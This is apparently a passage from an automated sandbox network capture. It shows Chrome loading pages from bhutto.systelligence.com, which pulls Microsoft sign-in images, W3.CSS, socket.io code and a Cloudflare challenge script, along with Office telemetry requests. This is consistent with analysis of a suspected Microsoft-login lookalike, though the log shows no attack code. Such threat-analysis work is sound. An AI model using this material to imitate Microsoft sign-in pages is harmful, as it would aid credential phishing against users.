22 64 65 63 6f 64 65 64 22 2c 74 29 29 3a 70 28 73 28 69 Data Ascii: ta when reconstructing a packet");var n=(t=this.decodeString(e)).type===Be.BINARY_EVENT;n\|\|t.type===Be.BINARY_ACK?(t.type=n?Be.EVENT:Be.ACK,this.reconstructor=new Pe(t),0===t.attachments&&p(s(i.prototype),"emitReserved",this).call(this,"decoded",t)):p(s(i
2024-11-07 22:47:29 UTC	841	IN	Data Raw: 26 28 65 3d 6e 2e 70 72 6f 74 6f 63 6f 6c 2b 22 2f 2f 22 2b 6e 2e 68 6f 73 74 29 2c 22 73 74 72 69 6e 67 22 3d 3d 74 79 70 65 6f 66 20 65 26 26 28 22 2f 22 3d 3d 3d 65 2e 63 68 61 72 41 74 28 30 29 26 26 28 65 3d 22 2f 22 3d 3d 3d 65 2e 63 68 61 72 41 74 28 31 29 3f 6e 2e 70 72 6f 74 6f 63 6f 6c 2b 65 3a 6e 2e 68 6f 73 74 2b 65 29 2c 2f 5e 28 68 74 74 70 73 3f 7c 77 73 73 3f 29 3a 5c 2f 5c 2f 2f 2e 74 65 73 74 28 65 29 7c 7c 28 65 3d 76 6f 69 64 20 30 21 3d 3d 6e 3f 6e 2e 70 72 6f 74 6f 63 6f 6c 2b 22 2f 2f 22 2b 65 3a 22 68 74 74 70 73 3a 2f 2f 22 2b 65 29 2c 72 3d 76 65 28 65 29 29 2c 72 2e 70 6f 72 74 7c 7c 28 2f 5e 28 68 74 74 70 7c 77 73 29 24 2f 2e 74 65 73 74 28 72 2e 70 72 6f 74 6f 63 6f 6c 29 3f 72 2e 70 6f 72 74 3d 22 38 30 22 3a 2f 5e 28 68 74 Data Ascii: &(e=n.protocol+"//"+n.host),"string"==typeof e&&("/"===e.charAt(0)&&(e="/"===e.charAt(1)?n.protocol+e:n.host+e),/^(https?\|wss?):\/\//.test(e)\|\|(e=void 0!==n?n.protocol+"//"+e:"https://"+e),r=ve(e)),r.port\|\|(/^(http\|ws)$/.test(r.protocol)?r.port="80":/^(ht

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.5	49752	13.107.246.45	443	5704	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-07 22:47:29 UTC	661	OUT	GET /shared/1.0/content/images/backgrounds/2_11d9e3bcdfede9ce5ce5ace2d129f1c4.svg HTTP/1.1 Host: aadcdn.msauth.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://bhutto.systelligence.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-07 22:47:29 UTC	778	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 22:47:29 GMT Content-Type: image/svg+xml Content-Length: 673 Connection: close Cache-Control: public, max-age=31536000 Content-Encoding: gzip Last-Modified: Wed, 24 May 2023 10:11:46 GMT ETag: 0x8DB5C3F47E260FD x-ms-request-id: 70daa0fa-801e-0020-02a5-2ccf4e000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20241107T224729Z-16547b76f7fcjqqhhC1DFWrrrc00000008qg00000000mzs8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 22:47:29 UTC	673	IN	Data Raw: 1f 8b 08 00 00 00 00 00 04 00 b5 55 db 6e db 30 0c fd 15 c1 7d 69 1e ac 50 b2 ae 43 1c a0 37 6c 2f c3 0a 64 fd 80 d4 b1 13 03 ae 1d d8 6e d3 f6 eb 47 ca f6 96 0c 79 6c 10 20 e6 91 45 f2 f0 98 94 16 dd db 96 bd bf 54 75 97 46 bb be df 7f 9b cf 0f 87 03 3f 24 bc 69 b7 73 09 00 73 dc 11 b1 43 b9 e9 77 69 24 bc 84 88 ed f2 72 bb eb 11 81 43 54 94 55 95 46 75 53 e7 d1 72 b1 65 cd 7e 9d 95 fd 47 1a 71 19 b1 ac 2a f7 f1 7e 4d ae af 6d 75 7d f5 30 c3 3d 84 d9 26 8d 7e 0a 65 0c 57 4c 58 af b9 cc bc 06 9e 58 06 88 25 70 17 1b 69 b9 96 13 12 0a 04 37 2b a9 84 e1 d6 c6 02 c0 b1 c1 3f d8 b1 d4 0a cd c4 01 57 4e 0e 88 25 3e e1 a6 b3 16 d7 24 ed a6 08 63 bc 11 7d 4e f4 03 bb 9b 59 34 3f a2 97 78 c5 31 bf 13 9a 9b cc 2a c3 b5 23 76 89 16 c8 47 61 6c 39 01 21 02 39 81 41 Data Ascii: Un0}iPC7l/dnGyl ETuF?$issCwi$rCTUFuSre~Gq~Mmu}0=&~eWLXX%pi7+?WN%>$c}NY4?x1#vGal9!9A

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.5	49750	192.229.133.221	443	5704	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-07 22:47:29 UTC	553	OUT	GET /w3css/4/w3.css HTTP/1.1 Host: www.w3schools.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://bhutto.systelligence.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-07 22:47:29 UTC	581	IN	HTTP/1.1 200 OK Age: 558430 Cache-Control: public,max-age=31536000,public Content-Security-Policy: frame-ancestors 'self' https://mycourses.w3schools.com https://pathfinder.w3schools.com; Content-Type: text/css Date: Thu, 07 Nov 2024 22:47:29 GMT Etag: "0a5fddf412cdb1:0+gzip+ident" Last-Modified: Fri, 01 Nov 2024 09:38:58 GMT Server: ECS (lhd/35B3) Vary: Accept-Encoding X-Cache: HIT X-Content-Security-Policy: frame-ancestors 'self' https://mycourses.w3schools.com https://pathfinder.w3schools.com; X-Powered-By: ASP.NET Content-Length: 23427 Connection: close
2024-11-07 22:47:29 UTC	16383	IN	Data Raw: ef bb bf 2f 2a 20 57 33 2e 43 53 53 20 34 2e 31 35 20 44 65 63 65 6d 62 65 72 20 32 30 32 30 20 62 79 20 4a 61 6e 20 45 67 69 6c 20 61 6e 64 20 42 6f 72 67 65 20 52 65 66 73 6e 65 73 20 2a 2f 0a 68 74 6d 6c 7b 62 6f 78 2d 73 69 7a 69 6e 67 3a 62 6f 72 64 65 72 2d 62 6f 78 7d 2a 2c 2a 3a 62 65 66 6f 72 65 2c 2a 3a 61 66 74 65 72 7b 62 6f 78 2d 73 69 7a 69 6e 67 3a 69 6e 68 65 72 69 74 7d 0a 2f 2a 20 45 78 74 72 61 63 74 20 66 72 6f 6d 20 6e 6f 72 6d 61 6c 69 7a 65 2e 63 73 73 20 62 79 20 4e 69 63 6f 6c 61 73 20 47 61 6c 6c 61 67 68 65 72 20 61 6e 64 20 4a 6f 6e 61 74 68 61 6e 20 4e 65 61 6c 20 67 69 74 2e 69 6f 2f 6e 6f 72 6d 61 6c 69 7a 65 20 2a 2f 0a 68 74 6d 6c 7b 2d 6d 73 2d 74 65 78 74 2d 73 69 7a 65 2d 61 64 6a 75 73 74 3a 31 30 30 25 3b 2d 77 65 62 Data Ascii: /* W3.CSS 4.15 December 2020 by Jan Egil and Borge Refsnes /html{box-sizing:border-box},:before,:after{box-sizing:inherit}/* Extract from normalize.css by Nicolas Gallagher and Jonathan Neal git.io/normalize */html{-ms-text-size-adjust:100%;-web
2024-11-07 22:47:29 UTC	7044	IN	Data Raw: 21 69 6d 70 6f 72 74 61 6e 74 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 62 63 64 34 21 69 6d 70 6f 72 74 61 6e 74 7d 0a 2e 77 33 2d 62 6c 75 65 2d 67 72 65 79 2c 2e 77 33 2d 68 6f 76 65 72 2d 62 6c 75 65 2d 67 72 65 79 3a 68 6f 76 65 72 2c 2e 77 33 2d 62 6c 75 65 2d 67 72 61 79 2c 2e 77 33 2d 68 6f 76 65 72 2d 62 6c 75 65 2d 67 72 61 79 3a 68 6f 76 65 72 7b 63 6f 6c 6f 72 3a 23 66 66 66 21 69 6d 70 6f 72 74 61 6e 74 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 36 30 37 64 38 62 21 69 6d 70 6f 72 74 61 6e 74 7d 0a 2e 77 33 2d 67 72 65 65 6e 2c 2e 77 33 2d 68 6f 76 65 72 2d 67 72 65 65 6e 3a 68 6f 76 65 72 7b 63 6f 6c 6f 72 3a 23 66 66 66 21 69 6d 70 6f 72 74 61 6e 74 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 Data Ascii: !important;background-color:#00bcd4!important}.w3-blue-grey,.w3-hover-blue-grey:hover,.w3-blue-gray,.w3-hover-blue-gray:hover{color:#fff!important;background-color:#607d8b!important}.w3-green,.w3-hover-green:hover{color:#fff!important;background-color:#

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.5	49756	152.199.21.175	443	5704	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-07 22:47:29 UTC	668	OUT	GET /shared/1.0/content/images/picker_verify_code_b41922ebdaebec16b19999fc6054a15a.svg HTTP/1.1 Host: aadcdn.msftauth.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://bhutto.systelligence.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-07 22:47:29 UTC	738	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Age: 19674821 Cache-Control: public, max-age=31536000 Content-MD5: 1jQlecEJaGhFO2st5KXLhg== Content-Type: image/svg+xml Date: Thu, 07 Nov 2024 22:47:29 GMT Etag: 0x8DB5C3F4AC59B47 Last-Modified: Wed, 24 May 2023 10:11:51 GMT Server: ECAcc (lhc/78BB) Vary: Accept-Encoding X-Cache: HIT x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: 2ee1dbb1-b01e-00dc-3276-7e9a59000000 x-ms-version: 2009-09-19 Content-Length: 1636 Connection: close
2024-11-07 22:47:29 UTC	1636	IN	Data Raw: 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 77 69 64 74 68 3d 22 34 38 22 20 68 65 69 67 68 74 3d 22 34 38 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 34 38 20 34 38 22 3e 3c 74 69 74 6c 65 3e 61 73 73 65 74 73 3c 2f 74 69 74 6c 65 3e 3c 72 65 63 74 20 77 69 64 74 68 3d 22 34 38 22 20 68 65 69 67 68 74 3d 22 34 38 22 20 66 69 6c 6c 3d 22 6e 6f 6e 65 22 2f 3e 3c 70 61 74 68 20 64 3d 22 4d 33 38 2c 31 34 48 31 30 56 33 34 48 33 38 56 31 34 6d 32 2c 32 32 48 38 56 31 32 48 34 30 56 33 36 4d 31 37 2e 36 38 38 2c 31 38 2e 38 56 32 38 2e 38 32 38 48 31 35 2e 35 33 31 56 32 31 2e 32 33 34 61 33 2e 32 2c 33 2e 32 2c 30 2c 30 2c 31 2d 2e 36 37 32 2e 34 33 6c 2d 2e 32 36 36 2e 31 31 37 61 Data Ascii: <svg xmlns="http://www.w3.org/2000/svg" width="48" height="48" viewBox="0 0 48 48"><title>assets</title><rect width="48" height="48" fill="none"/><path d="M38,14H10V34H38V14m2,22H8V12H40V36M17.688,18.8V28.828H15.531V21.234a3.2,3.2,0,0,1-.672.43l-.266.117a

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.5	49766	172.67.191.88	443	5704	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-07 22:47:29 UTC	553	OUT	GET /cdn-cgi/challenge-platform/h/b/scripts/jsd/22755d9a86c9/main.js? HTTP/1.1 Host: bhutto.systelligence.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-07 22:47:29 UTC	883	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 22:47:29 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 8165 Connection: close cache-control: max-age=14400, stale-if-error=10800, stale-while-revalidate=10800, public x-content-type-options: nosniff Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=9KUK%2FrMnRg0V789cMfekknwqPXqFwKlirLQjyxz0NQ3UEezFOnl9eq1S7EMmAiUVVNk7cp%2FIwuQ8jc3hd5sDBeSs026QgKm5w4KtPaXMcJBMEwLIiFwq%2F2n%2Bi%2FBsx1WYFd2lfDLjsdXIz7I%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8df0dd8b3a40e976-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1318&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2841&recv_bytes=1131&delivery_rate=2162808&cwnd=251&unsent_bytes=0&cid=bd845692cdf52776&ts=153&x=0"
2024-11-07 22:47:29 UTC	486	IN	Data Raw: 77 69 6e 64 6f 77 2e 5f 63 66 5f 63 68 6c 5f 6f 70 74 3d 7b 63 46 50 57 76 3a 27 62 27 7d 3b 7e 66 75 6e 63 74 69 6f 6e 28 56 2c 68 2c 69 2c 6a 2c 6b 2c 6f 2c 73 2c 78 29 7b 56 3d 62 2c 66 75 6e 63 74 69 6f 6e 28 64 2c 65 2c 55 2c 66 2c 67 29 7b 66 6f 72 28 55 3d 62 2c 66 3d 64 28 29 3b 21 21 5b 5d 3b 29 74 72 79 7b 69 66 28 67 3d 2d 70 61 72 73 65 49 6e 74 28 55 28 35 33 39 29 29 2f 31 2a 28 2d 70 61 72 73 65 49 6e 74 28 55 28 35 35 30 29 29 2f 32 29 2b 70 61 72 73 65 49 6e 74 28 55 28 35 30 31 29 29 2f 33 2b 70 61 72 73 65 49 6e 74 28 55 28 35 32 39 29 29 2f 34 2a 28 70 61 72 73 65 49 6e 74 28 55 28 35 38 37 29 29 2f 35 29 2b 2d 70 61 72 73 65 49 6e 74 28 55 28 35 37 35 29 29 2f 36 2a 28 2d 70 61 72 73 65 49 6e 74 28 55 28 35 33 33 29 29 2f 37 29 2b 2d Data Ascii: window._cf_chl_opt={cFPWv:'b'};~function(V,h,i,j,k,o,s,x){V=b,function(d,e,U,f,g){for(U=b,f=d();!![];)try{if(g=-parseInt(U(539))/1(-parseInt(U(550))/2)+parseInt(U(501))/3+parseInt(U(529))/4(parseInt(U(587))/5)+-parseInt(U(575))/6*(-parseInt(U(533))/7)+-
2024-11-07 22:47:29 UTC	1369	IN	Data Raw: 27 73 27 2c 6a 5b 56 28 35 31 31 29 5d 3d 27 75 27 2c 6a 5b 56 28 35 39 37 29 5d 3d 27 7a 27 2c 6a 5b 56 28 35 36 36 29 5d 3d 27 6e 27 2c 6a 5b 56 28 35 36 32 29 5d 3d 27 49 27 2c 6a 5b 56 28 36 31 30 29 5d 3d 27 62 27 2c 6b 3d 6a 2c 68 5b 56 28 35 34 39 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 67 2c 44 2c 45 2c 46 2c 61 30 2c 48 2c 49 2c 4a 2c 4b 2c 4c 2c 4d 29 7b 69 66 28 61 30 3d 56 2c 6e 75 6c 6c 3d 3d 3d 44 7c 7c 76 6f 69 64 20 30 3d 3d 3d 44 29 72 65 74 75 72 6e 20 46 3b 66 6f 72 28 48 3d 6e 28 44 29 2c 67 5b 61 30 28 35 33 36 29 5d 5b 61 30 28 35 32 34 29 5d 26 26 28 48 3d 48 5b 61 30 28 35 38 34 29 5d 28 67 5b 61 30 28 35 33 36 29 5d 5b 61 30 28 35 32 34 29 5d 28 44 29 29 29 2c 48 3d 67 5b 61 30 28 35 37 31 29 5d 5b 61 30 28 35 35 34 29 5d 26 26 67 5b Data Ascii: 's',j[V(511)]='u',j[V(597)]='z',j[V(566)]='n',j[V(562)]='I',j[V(610)]='b',k=j,h[V(549)]=function(g,D,E,F,a0,H,I,J,K,L,M){if(a0=V,null===D\|\|void 0===D)return F;for(H=n(D),g[a0(536)][a0(524)]&&(H=H[a0(584)](g[a0(536)][a0(524)](D))),H=g[a0(571)][a0(554)]&&g[
2024-11-07 22:47:29 UTC	1369	IN	Data Raw: 2c 49 5b 52 5d 3d 21 30 29 2c 53 3d 4a 2b 52 2c 4f 62 6a 65 63 74 5b 61 36 28 35 38 32 29 5d 5b 61 36 28 35 38 38 29 5d 5b 61 36 28 35 37 37 29 5d 28 48 2c 53 29 29 4a 3d 53 3b 65 6c 73 65 7b 69 66 28 4f 62 6a 65 63 74 5b 61 36 28 35 38 32 29 5d 5b 61 36 28 35 38 38 29 5d 5b 61 36 28 35 37 37 29 5d 28 49 2c 4a 29 29 7b 69 66 28 32 35 36 3e 4a 5b 61 36 28 35 39 34 29 5d 28 30 29 29 7b 66 6f 72 28 47 3d 30 3b 47 3c 4d 3b 4f 3c 3c 3d 31 2c 50 3d 3d 45 2d 31 3f 28 50 3d 30 2c 4e 5b 61 36 28 36 30 32 29 5d 28 46 28 4f 29 29 2c 4f 3d 30 29 3a 50 2b 2b 2c 47 2b 2b 29 3b 66 6f 72 28 54 3d 4a 5b 61 36 28 35 39 34 29 5d 28 30 29 2c 47 3d 30 3b 38 3e 47 3b 4f 3d 4f 3c 3c 31 2e 31 37 7c 31 2e 33 38 26 54 2c 45 2d 31 3d 3d 50 3f 28 50 3d 30 2c 4e 5b 61 36 28 36 30 32 Data Ascii: ,I[R]=!0),S=J+R,Object[a6(582)][a6(588)][a6(577)](H,S))J=S;else{if(Object[a6(582)][a6(588)][a6(577)](I,J)){if(256>J[a6(594)](0)){for(G=0;G<M;O<<=1,P==E-1?(P=0,N[a6(602)](F(O)),O=0):P++,G++);for(T=J[a6(594)](0),G=0;8>G;O=O<<1.17\|1.38&T,E-1==P?(P=0,N[a6(602
2024-11-07 22:47:29 UTC	1369	IN	Data Raw: 6e 28 44 2c 61 37 29 7b 72 65 74 75 72 6e 20 61 37 3d 61 34 2c 6e 75 6c 6c 3d 3d 44 3f 27 27 3a 44 3d 3d 27 27 3f 6e 75 6c 6c 3a 66 2e 69 28 44 5b 61 37 28 35 37 38 29 5d 2c 33 32 37 36 38 2c 66 75 6e 63 74 69 6f 6e 28 45 2c 61 38 29 7b 72 65 74 75 72 6e 20 61 38 3d 61 37 2c 44 5b 61 38 28 35 39 34 29 5d 28 45 29 7d 29 7d 2c 27 69 27 3a 66 75 6e 63 74 69 6f 6e 28 44 2c 45 2c 46 2c 61 39 2c 47 2c 48 2c 49 2c 4a 2c 4b 2c 4c 2c 4d 2c 4e 2c 4f 2c 50 2c 51 2c 52 2c 54 2c 53 29 7b 66 6f 72 28 61 39 3d 61 34 2c 47 3d 5b 5d 2c 48 3d 34 2c 49 3d 34 2c 4a 3d 33 2c 4b 3d 5b 5d 2c 4e 3d 46 28 30 29 2c 4f 3d 45 2c 50 3d 31 2c 4c 3d 30 3b 33 3e 4c 3b 47 5b 4c 5d 3d 4c 2c 4c 2b 3d 31 29 3b 66 6f 72 28 51 3d 30 2c 52 3d 4d 61 74 68 5b 61 39 28 36 30 39 29 5d 28 32 2c 32 Data Ascii: n(D,a7){return a7=a4,null==D?'':D==''?null:f.i(D[a7(578)],32768,function(E,a8){return a8=a7,D[a8(594)](E)})},'i':function(D,E,F,a9,G,H,I,J,K,L,M,N,O,P,Q,R,T,S){for(a9=a4,G=[],H=4,I=4,J=3,K=[],N=F(0),O=E,P=1,L=0;3>L;G[L]=L,L+=1);for(Q=0,R=Math[a9(609)](2,2
2024-11-07 22:47:29 UTC	1369	IN	Data Raw: 7d 66 75 6e 63 74 69 6f 6e 20 76 28 61 33 2c 67 2c 44 2c 45 2c 46 2c 47 29 7b 61 33 3d 56 3b 74 72 79 7b 72 65 74 75 72 6e 20 67 3d 69 5b 61 33 28 35 38 36 29 5d 28 61 33 28 35 32 30 29 29 2c 67 5b 61 33 28 35 34 38 29 5d 3d 61 33 28 35 36 35 29 2c 67 5b 61 33 28 35 35 39 29 5d 3d 27 2d 31 27 2c 69 5b 61 33 28 35 37 33 29 5d 5b 61 33 28 35 33 31 29 5d 28 67 29 2c 44 3d 67 5b 61 33 28 35 37 36 29 5d 2c 45 3d 7b 7d 2c 45 3d 66 66 45 67 65 34 28 44 2c 44 2c 27 27 2c 45 29 2c 45 3d 66 66 45 67 65 34 28 44 2c 44 5b 61 33 28 35 31 30 29 5d 7c 7c 44 5b 61 33 28 35 32 37 29 5d 2c 27 6e 2e 27 2c 45 29 2c 45 3d 66 66 45 67 65 34 28 44 2c 67 5b 61 33 28 35 33 37 29 5d 2c 27 64 2e 27 2c 45 29 2c 69 5b 61 33 28 35 37 33 29 5d 5b 61 33 28 35 30 39 29 5d 28 67 29 2c 46 Data Ascii: }function v(a3,g,D,E,F,G){a3=V;try{return g=i[a3(586)](a3(520)),g[a3(548)]=a3(565),g[a3(559)]='-1',i[a3(573)][a3(531)](g),D=g[a3(576)],E={},E=ffEge4(D,D,'',E),E=ffEge4(D,D[a3(510)]\|\|D[a3(527)],'n.',E),E=ffEge4(D,g[a3(537)],'d.',E),i[a3(573)][a3(509)](g),F
2024-11-07 22:47:29 UTC	1369	IN	Data Raw: 29 7d 66 75 6e 63 74 69 6f 6e 20 62 28 63 2c 64 2c 65 29 7b 72 65 74 75 72 6e 20 65 3d 61 28 29 2c 62 3d 66 75 6e 63 74 69 6f 6e 28 66 2c 67 2c 68 29 7b 72 65 74 75 72 6e 20 66 3d 66 2d 35 30 30 2c 68 3d 65 5b 66 5d 2c 68 7d 2c 62 28 63 2c 64 29 7d 66 75 6e 63 74 69 6f 6e 20 61 28 61 68 29 7b 72 65 74 75 72 6e 20 61 68 3d 27 63 46 50 57 76 2c 73 65 6e 64 2c 5f 63 66 5f 63 68 6c 5f 6f 70 74 2c 70 72 6f 74 6f 74 79 70 65 2c 69 6e 63 6c 75 64 65 73 2c 63 6f 6e 63 61 74 2c 64 6f 63 75 6d 65 6e 74 2c 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 2c 35 35 37 34 35 56 44 61 72 70 59 2c 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2c 66 72 6f 6d 43 68 61 72 43 6f 64 65 2c 5f 63 66 5f 63 68 6c 5f 6f 70 74 3b 4c 48 42 66 6f 34 3b 48 66 6c 6c 6c 33 3b 68 48 66 6a 61 34 3b 48 Data Ascii: )}function b(c,d,e){return e=a(),b=function(f,g,h){return f=f-500,h=e[f],h},b(c,d)}function a(ah){return ah='cFPWv,send,_cf_chl_opt,prototype,includes,concat,document,createElement,55745VDarpY,hasOwnProperty,fromCharCode,_cf_chl_opt;LHBfo4;Hflll3;hHfja4;H
2024-11-07 22:47:29 UTC	834	IN	Data Raw: 68 61 72 41 74 2c 66 6c 6f 6f 72 2c 44 4f 4d 43 6f 6e 74 65 6e 74 4c 6f 61 64 65 64 2c 74 61 62 49 6e 64 65 78 2c 65 72 72 6f 72 2c 6c 6f 61 64 69 6e 67 2c 62 69 67 69 6e 74 2c 43 6f 6e 74 65 6e 74 2d 54 79 70 65 2c 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 2c 64 69 73 70 6c 61 79 3a 20 6e 6f 6e 65 2c 6e 75 6d 62 65 72 2c 63 68 63 74 78 2c 63 68 6c 41 70 69 41 43 43 48 2c 53 65 74 2c 69 73 4e 61 4e 2c 41 72 72 61 79 2c 63 61 74 63 68 2c 62 6f 64 79 2c 25 32 62 2c 31 32 65 45 5a 69 71 75 2c 63 6f 6e 74 65 6e 74 57 69 6e 64 6f 77 2c 63 61 6c 6c 2c 6c 65 6e 67 74 68 27 2e 73 70 6c 69 74 28 27 2c 27 29 2c 61 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 61 68 7d 2c 61 28 29 7d 66 75 6e 63 74 69 6f 6e 20 43 28 61 65 2c 64 2c 65 2c 66 2c 67 29 Data Ascii: harAt,floor,DOMContentLoaded,tabIndex,error,loading,bigint,Content-Type,addEventListener,display: none,number,chctx,chlApiACCH,Set,isNaN,Array,catch,body,%2b,12eEZiqu,contentWindow,call,length'.split(','),a=function(){return ah},a()}function C(ae,d,e,f,g)

Session ID	Source IP	Source Port	Destination IP	Destination Port
28	192.168.2.5	49763	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 22:47:29 UTC	192	OUT	GET /rules/rule120612v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 22:47:29 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 22:47:29 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:25 GMT ETag: "0x8DC582BB10C598B" x-ms-request-id: 1a2e7d6b-a01e-000d-7bfc-2cd1ea000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T224729Z-16547b76f7f7lhvnhC1DFWa2k000000008q000000000c8xh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 22:47:29 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120612" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
29	192.168.2.5	49762	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 22:47:29 UTC	192	OUT	GET /rules/rule120611v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
